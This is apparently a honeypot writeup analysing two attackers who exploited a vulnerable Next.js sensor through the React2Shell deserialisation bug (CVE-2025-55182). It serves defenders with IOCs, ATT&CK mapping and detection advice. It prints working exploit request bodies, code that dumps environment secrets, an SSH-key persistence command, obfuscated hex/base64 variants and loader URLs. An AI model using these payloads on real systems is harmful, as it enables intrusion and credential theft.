// GreyNoise  ·  writeup

GreyNoise Swarm - Right Door

GreyNoise Medium GreyNoiseWiresharktsharkCyberChefURLhausAbuseIPDB

Introduction

GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. This is the third writeup in the series, and a sequel to Wrong Door: that sensor caught exploit kits firing at a server they couldn’t touch. This one caught the same kind of traffic hitting a server that was actually vulnerable.

Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.

The Sensor Fleet

Four $4/month DigitalOcean droplets, one per region, each running a different GreyNoise profile so they attract different traffic. Outbound traffic is disabled on every sensor.

SensorRegionProfileBait
Bold EarwigSydney (SYD1)Apache Tomcat 8.0.45 - VULNERABLECVE-2017-12617 JSP upload → webshell
Pensive MarkhorSingapore (SGP1)Cowrie Telnet HoneypotTelnet logins + shell sessions (IoT botnets)
Vibrant QuetzalSan Francisco (SFO2)React Server Components - VULNERABLECVE-2025-55182
Festive GoatFrankfurt (FRA1)WordPress MasterStudy LMS - VULNERABLEPlugin LFI / traversal (2024 CVE cluster)

Today’s Sensor: Vibrant Quetzal (React Server Components)

This writeup focuses on the San Francisco sensor, which runs a real Next.js app vulnerable to CVE-2025-55182, the React Server Components deserialisation bug nicknamed React2Shell. The profile is depth:full: it doesn’t just pretend to be vulnerable, it actually executes what the exploit asks for, inside a container, and returns the result. It listens on 80, 443 and 3000, and every response carries X-Powered-By: Next.js and Vary: rsc, next-router-state-tree…, so a scanner has no trouble recognising it.

The sensor registered at 2026-10-14 01:53 UTC and logged 25,419 sessions in its first 24 hours. Filtered to classification:malicious that dropped to 626, and adding "http.method-POST:>0" left 22.

How React2Shell works, in one paragraph

Next.js Server Actions accept a multipart body in React’s “Flight” format, which can reference other parts of the request ($1, $@0, $B1337). CVE-2025-55182 lets a crafted body walk those references into JavaScript internals: $1:__proto__:then turns the object into a fake promise, and $1:constructor:constructor reaches the Function constructor, so the string in _prefix runs as code. Any request with a Next-Action header is enough to reach the parser, and Next-Action: x works without knowing a real action ID. The attacker then needs a way to read the result, and both attackers here used the same trick: throw an error and put the output in its digest. Next.js sends a NEXT_REDIRECT digest back as a 303 with an x-action-redirect header, and any other error’s digest comes back in a 500 body as E{"digest":"…"}.

Executive Summary

Two attackers achieved remote code execution on a React2Shell honeypot within seven hours of each other, and the capture records exactly what each did with it. The first, 96.62.224[.]241, ran a vulnerability check that came back positive (303 with its W70384 marker in x-action-redirect), then within a second used the same bug to dump the process environment, base64-encoded through the error digest, and to append an SSH key with the comment mold-spore to ~/.ssh/authorized_keys. That last payload appears to have broken its own JSON with unescaped quotes, and the response carried Next.js’s generic error digest rather than the attacker’s PERSIST_OK, so the persistence step most likely never ran. The same host also sent a PHPUnit .env stealer and probed /actuator/env, /api/admin and /dashboard. The probe’s multipart boundary, marker format, PHPUnit payload and follow-up requests match a host that hit the Tomcat sensor in Wrong Door, where the vulnerability check failed and the kit moved on: the same toolkit, at the wrong door and then at the right one. The second attacker, 77.90.19[.]119, encoded its JSON as UTF-16LE and its module, function and command names as hex and base64, confirmed execution with shell arithmetic (echo $((44163*40301)) → 1779813063), then ran pwd, env and find /opt/s3remote -maxdepth 2 -name '.env*', each step using the last one’s output. The honeypot’s environment held no secrets and outbound traffic is blocked, so neither attacker got anything of value. The rest of the day’s POSTs were familiar from the other sensors: the same PHP-CGI dropper host that hit the Tomcat and WordPress sensors, a fourth RedTail node, a TBK DVR loader, Androxgh0st every hour, and a Spark RAT client beaconing to the sensor’s IP.

flowchart LR
  subgraph A [96.62.224.241 - 23:23 UTC, ~1 second]
    A1[NEXT_REDIRECT probe<br/>marker W70384] -->|303 x-action-redirect| A2[execSync env<br/>digest = base64 output]
    A2 -->|500 + env| A3[append SSH key<br/>mold-spore]
    A3 -.->|generic digest:<br/>payload broke| A4[(persistence failed)]
  end
  subgraph B [77.90.19.119 - 06:25 UTC, ~1 second]
    B1["echo $((44163*40301))"] -->|303 1779813063| B2[pwd]
    B2 -->|/opt/s3remote/my-app| B3[env]
    B3 --> B4["find .env*"]
  end
  W[Same kit on the Tomcat sensor<br/>Wrong Door] -. probe failed, moved on .-> A1

Artifacts

tshark -r sessions-...-page-1.pcap -Y 'http.response' -T fields \
  -e tcp.stream -e frame.time_utc -e http.response.code -e http.file_data

Attacker 1: Check, Loot, Persist

96.62.224[.]241 opened five connections at 2026-10-14 23:23:13 UTC, four to port 3000 and one to port 80, and was done by 23:23:14. The order below is reconstructed from the request timestamps.

The check
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}",
 "_response":{"_prefix":"throw Object.assign(new Error('NEXT_REDIRECT'),{digest:'NEXT_REDIRECT;push;/login?a=W70384;307;'});",
 "_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

No shell, no process: the injected code only throws a redirect. A patched server would ignore it. This one answered:

HTTP/1.1 303 See Other
x-action-redirect: /login?a=W70384;push
content-type: text/x-component

The marker came back, which proves the code ran. On the Tomcat sensor in Wrong Door, 23.94.145[.]124 sent this exact probe, with the same W##### marker format, and got Tomcat’s default page instead. The multipart boundary on its own proves nothing: ----WebKitFormBoundaryx8jO2oVc6SWP3Sad is hardcoded in maple3142’s original public proof of concept, and The Raven File counted it on 708 hosts. Attacker 2 below uses it too.

The loot
"_prefix":"var r;try{if(process.mainModule&&process.mainModule.require){
  r=process.mainModule.require('child_process').execSync('env 2>&1|head -300')
}else{var rr=process.binding('spawn_sync').spawn({file:'/bin/sh',args:['sh','-c','env 2>&1|head -300'],…

It runs env and keeps the first 300 lines. If process.mainModule isn’t available (it isn’t in some bundled or ESM builds), it falls back to Node’s internal process.binding('spawn_sync') to start /bin/sh directly. Someone wrote this to work across Next.js versions. The output was base64-encoded into the error digest, and the sensor returned it:

HTTP/1.1 500 Internal Server Error
content-type: text/x-component

0:{"a":"$@1","f":"","b":"cb8PIhQn6HF1ofCqYRKlB"}
1:E{"digest":"bnBtX2NvbmZpZ191c2VyX2FnZW50PW5wbS8xMS42LjIgbm9kZS92MjUuMi4x…"}

Decoded, it’s the honeypot’s environment: a Next.js app running under Node in a podman container, started with next start, and no API keys, database URLs or cloud credentials. A real Next.js deployment’s environment is exactly where those live, which is why this is the first thing the kit asks for. It also fetched /actuator/env, the Spring Boot endpoint that exposes the same kind of data.

The persistence attempt
"_prefix":"var r;try{r=process.mainModule.require('child_process').execSync('mkdir -p ~/.ssh &&
  echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwAADfOcKACwWqcC6mztthERX/w/ab0lZhi/j0Hi mold-spore"
  >> ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys && echo PERSIST_OK')}
  catch(e){r='ERR:'+e.message}throw Object.assign(new Error('x'),{digest:Buffer.from(String(r))…

Append the attacker’s key to root’s authorized_keys, fix the permissions and print PERSIST_OK, base64-encoded through the digest. If it had worked, the response would carry UEVSU0lTVF9PSwo= or an ERR: message. It carried 1641357019, the kind of numeric digest Next.js generates for an error it didn’t expect. The likely reason is in the payload itself: the key is wrapped in bare double quotes inside a JSON string, which ends the string early and breaks the JSON. The attacker’s own quoting bug most likely stopped the persistence step. The PCAP can’t prove the command didn’t run, but nothing in the response says it did.

Even if it had worked, it would have achieved little: the key would sit inside a container with no SSH service of its own, on a sensor whose management SSH runs on a high port with key-only authentication.

The rest of the second

Searching the Swarm UI for the source IP across all four sensors found eight sessions from 96.62.224[.]241, all on this sensor. Alongside the three React2Shell requests, the kit ran a fixed set of other checks in parallel:

Every request carried a different browser user-agent (Windows, macOS, Linux, iPhone), picked per request rather than per session.

The same kit, two doors

The same search for 23.94.145[.]124, the host from Wrong Door, found six sessions, all on the Tomcat sensor and all at 04:16 on 10-15. They contain the same modules:

Wrong Door (Tomcat)Right Door (React)
Source23.94.145[.]124 (6 sessions, Tomcat only)96.62.224[.]241 (8 sessions, React only)
NetworkAS207043 (AbuseIPDB: DEDIK Services, Buffalo US)AS207043 (AbuseIPDB: Brander Group, Frankfurt DE)
React2Shell probepublic-PoC boundary, marker W97877same, marker W70384
Probe result200, Tomcat default page303, x-action-redirect with the marker
Middleware-bypass pairs/admin, /api/admin, /api/user/me, /api/profile, /dashboardthe same five paths
Other checks/actuator/env, 379-byte MOLDPU42 PHPUnit stealerthe same
Next stepnoneenv dump, SSH key mold-spore

Two IPs, one toolkit, one network: both addresses sit in AS207043, even though AbuseIPDB’s lookup names a different provider and city for each. Each IP only hit one of the sensors, which suggests the kit splits its target list across many source addresses. The MOLDPU marker and the mold-spore key comment suggest the author’s own name for it. On a server that failed the check, it looked like a scanner. On one that passed, it turned out to be a full exploitation chain, and the only difference in its behaviour was the React2Shell result.

Attacker 2: Quiet and Obfuscated

77.90.19[.]119 opened one connection at 2026-10-15 06:25:40 UTC (its only session on any of the four sensors) and sent four POST /test requests and a GET /, all within a second. The POSTs all carry Next-Action: x. The path doesn’t matter: any route reaches the vulnerable parser.

The JSON in each request is encoded as UTF-16LE (Content-Type: text/plain; charset=utf-16le), so every character is followed by a null byte and string-matching WAF rules for __proto__ or child_process don’t see them. The wrapper is the same public-PoC boundary attacker 1 used. The headers change partway through, though. The marker check carries a bare header set with two made-up Next.js request-ID headers. Once it passed, the command requests switched to a full Chrome 142 profile: sec-ch-ua headers, a Referer, Accept-Language: zh-CN,zh;q=0.9,en;q=0.8, new ID values and a third ID header spelled X-Nextjs-Html-Request-ld with a lowercase L. That looks like a check module and an exploit module stitched together in one tool. The language header is easy to set, so it says something about whoever configured the tool, not where they are. Inside, nothing sensitive appears in plain text:

var c=Buffer.from;
var m=process.mainModule.require(c('6368696c645f70726f63657373','hex').toString());   // child_process
var res=m[c('6578656353796e63','hex').toString()](c('cHdk','base64').toString());    // execSync('pwd')
#CommandResult
1echo $((44163*40301)) (plain)303, x-action-redirect: /login?a=1779813063
2pwd (base64 cHdk)/opt/s3remote/my-app
3env (base64 ZW52)the same environment as attacker 1
4find /opt/s3remote -maxdepth 2 -name '.env*' 2>/dev/nullgeneric digest, no .env files returned

The first marker is a neat trick. 1779813063 is 44163 × 40301, and it only comes back if a shell actually evaluated $((…)), so a fake honeypot that just echoes input back can’t pass it. Step 4 searches the parent of the directory pwd returned, so the kit uses its own output to aim the next command, all within a second. Like attacker 1, it went straight for configuration secrets.

Also Knocking

The other POST sessions show the same internet as the Tomcat and WordPress sensors:

Who Was Knocking
IPSeen asProvider (ASN)LocationAbuseIPDB
96.62.224[.]241mold kit, RCEBrander Group (AS207043)Frankfurt, DE100%, 511 reports from 114 sources, first reported 2026-10-04
77.90.19[.]119obfuscated RCEHostBrr (AS214902)Frankfurt, DE21%, 4 reports, first reported 2026-10-03
160.250.132[.]238RedTailVPS4U Technology (AS150895)Ho Chi Minh City, VN100%, 4,914 reports since 2026-01-15, mostly SSH brute force
185.100.87[.]136Spark beaconFlokiNET (AS200651)Bucharest, RO100%, 26,563 reports since 2021, Tor exit node

The two attackers that got code execution are both on Frankfurt hosting, and both addresses were first reported less than two weeks before they reached this sensor. That’s where the similarity ends. The mold kit’s IP picked up 511 reports in ten days because it sends a dozen loud requests to everything it finds. The obfuscated attacker’s IP has four. It made one connection to this sensor and none to the other three, which suggests it worked from a list already filtered down to Next.js servers instead of spraying the internet. A quiet tool barely shows up in reputation data, even when it’s the one that got in. The RedTail node’s reports are mostly SSH brute force, which matches RedTail’s other way of spreading.

Neither DVR payload URL, nor either host, had any entry on URLhaus when I checked on 2026-10-17. These are short-lived loaders, and nobody had reported them yet. With the sensors blocking outbound traffic, there’s no sample to look at either, so the IOCs above are all there is.

Attack Summary

PhaseAction
Reconnaissance96.62.224[.]241 sends a React2Shell NEXT_REDIRECT probe; 303 with marker W70384 confirms the sensor is vulnerable
Initial AccessNext.js middleware-bypass pairs (CVE-2025-29927) on five admin and API paths; all 404
Execution`execSync(‘env 2>&1
Credential AccessEnvironment dump and /actuator/env fetch looking for secrets; PHPUnit .env stealer on port 80
PersistenceSSH key mold-spore appended to ~/.ssh/authorized_keys; payload’s own quoting most likely broke it
Defense Evasion77.90.19[.]119 encodes its JSON as UTF-16LE and its module, function and commands as hex / base64
ExecutionShell arithmetic marker $((44163*40301)) proves real command execution
Discoverypwd, then find /opt/s3remote -maxdepth 2 -name '.env*'

Forensic Timeline

Timestamp (UTC)Event
2026-10-14 01:53:40Vibrant Quetzal registered with GreyNoise
2026-10-14 10:09:0345.198.224[.]89 TBK DVR loader → 404
2026-10-14 15:05:41160.119.66[.]206 TBK DVR loader → 404
2026-10-14 15:20:08Cisco IOS XE CVE-2023-20198 request (user-agent CVE-2023-20198) → 404
2026-10-14 19:56:00RedTail node 160.250.132[.]238, both Apache traversal encodings → 404
2026-10-14 22:05:43175.195.238[.]137 ViewLog.asp injection with YOURIP placeholder → 400
2026-10-14 23:00:34130.12.180[.]32 PHP-CGI dropper → 404 (third sensor)
2026-10-14 23:23:1396.62.224[.]241 React2Shell probe → 303, marker W70384
2026-10-14 23:23:13Same host: /actuator/env → 404; env dump via React2Shell → 500 with base64 environment; PHPUnit MOLDPU stealer on port 80 → 404
2026-10-14 23:23:14Same host: SSH key mold-spore persistence attempt → 500, generic digest
2026-10-14 23:23:13 – 15Same host: middleware-bypass pairs on /admin, /api/admin, /api/user/me, /api/profile, /dashboard → all 404
2026-10-15 01:27 – 09:45Androxgh0st from 78.153.140[.]40 / .50, roughly hourly, 8 sessions
2026-10-15 04:01:1996.62.224[.]241 sends the PHPUnit stealer again → 404
2026-10-15 06:25:4077.90.19[.]119 UTF-16 React2Shell: arithmetic marker → 303 1779813063; pwd → /opt/s3remote/my-app
2026-10-15 06:25:41Same host: env → 500 with environment; find … '.env*' → 500, nothing found
2026-10-15 09:46:20Spark RAT client update check from 185.100.87[.]136 on port 443

IOCs

TypeValue
IP (React2Shell RCE, “mold” kit)96.62.224[.]241 (Brander Group, AS207043, DE; same ASN as 23.94.145[.]124)
IP (same kit, Wrong Door Tomcat sensor)23.94.145[.]124
IP (React2Shell RCE, obfuscated)77.90.19[.]119 (HostBrr, AS214902, DE)
IP (PHP-CGI dropper, all three web sensors)130.12.180[.]32
IP (RedTail)160.250.132[.]238 (VPS4U, AS150895, VN)
IP (TBK DVR loader)45.198.224[.]89, 160.119.66[.]206
URL (DVR payloads)hxxp://160.119.66[.]206/bins/net.arm7, hxxp://45.198.224[.]158/arm7
IP (Androxgh0st)78.153.140[.]40, 78.153.140[.]50
IP (Spark RAT client)185.100.87[.]136 (Tor exit, FlokiNET, AS200651, RO)
SSH public keyssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwAADfOcKACwWqcC6mztthERX/w/ab0lZhi/j0Hi mold-spore
Multipart boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad (public PoC default, both attackers; weak on its own)
MarkersW70384, W97877 (/login?a=W#####), MOLDPU42, PERSIST_OK, 1779813063 (44163*40301)
Request headersNext-Action: x; Content-Type: text/plain; charset=utf-16le inside multipart parts
Hex strings6368696c645f70726f63657373 (child_process), 6578656353796e63 (execSync)
User-AgentSPARK COMMIT: 08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17, r00ts3c-owned-you, CVE-2023-20198, libredtail-http

MITRE ATT&CK

TechniqueIDDescription
Vulnerability ScanningT1595.002NEXT_REDIRECT marker probe and arithmetic marker before any real command
Exploit Public-Facing ApplicationT1190CVE-2025-55182 against the Next.js Server Actions parser
JavaScriptT1059.007Injected _prefix code run through the Function constructor
Unix ShellT1059.004execSync and spawn_sync running /bin/sh -c commands
Obfuscated Files or InformationT1027UTF-16LE JSON, hex-encoded module and function names, base64 commands
System Information DiscoveryT1082env dump
File and Directory DiscoveryT1083pwd, find /opt/s3remote -maxdepth 2 -name '.env*'
Credentials In FilesT1552.001Hunting .env files and environment secrets; PHPUnit .env stealer
SSH Authorized KeysT1098.004mold-spore key appended to ~/.ssh/authorized_keys (most likely failed)

Defender Takeaways

React2Shell is being exploited for secrets, not just scanned for. Both attackers went from proof of execution to reading the environment in under a second. On a real Next.js deployment that environment holds API keys, database URLs and cloud credentials. Patch React and Next.js, and treat any server that was exposed while vulnerable as having leaked every secret in its environment: rotate them.

Detect on the response, not the request. A 303 with an x-action-redirect header, or a 500 whose text/x-component body contains E{"digest":"…"} with a long base64 value, on a request that carried Next-Action: x, means the code ran. Requests alone only show attempts.

String-matching WAF rules miss the careful attackers. UTF-16LE encoding and hex-encoded module names hide every keyword a simple rule looks for. Normalise encodings before matching, or detect on behaviour: a node process spawning sh, env or find.

Keep secrets out of the process environment where you can. Both chains asked for env first. Secrets pulled at runtime from a secrets manager, with short-lived credentials, are worth far less to an attacker who gets one command.

The kit looked like a scanner until it found a vulnerable target. On the Tomcat sensor this toolkit sent a probe and left. Here it ran its full chain within a second. Low-and-slow “scanner” traffic deserves a second look when it hits something you actually run.

Honeypots get fingerprinted too. Attacker 2’s arithmetic marker exists to tell a real shell from a fake one. This sensor passed because it really runs the vulnerable app, which is also why its container was built with nothing worth stealing.

Conclusion

A day after Wrong Door, the same toolkit turned up at a server it could actually exploit. On the Tomcat sensor it sent one probe and moved on. On the React Server Components sensor the probe came back positive, and within the same second the kit dumped the environment and tried to plant an SSH key, a step that most likely failed on its own badly quoted JSON. Seven hours later a second, more careful attacker did the same job with its commands hidden in UTF-16, hex and base64, using each command’s output to aim the next.

Both went straight for the environment and .env files. That’s what React2Shell is being used for: not defacements or noisy miners, but quietly reading the secrets a Next.js app keeps in its environment. The honeypot had none to give, and with outbound traffic blocked nothing could be downloaded either.

The rest of the day looked like the other sensors: the same PHP-CGI dropper host now seen on all three web sensors, a fourth RedTail node, DVR loaders, Androxgh0st and one curious Spark RAT beacon. Running several sensors at once is what makes those links visible, and it’s what turned Wrong Door’s “scanner” into an exploit kit in this one.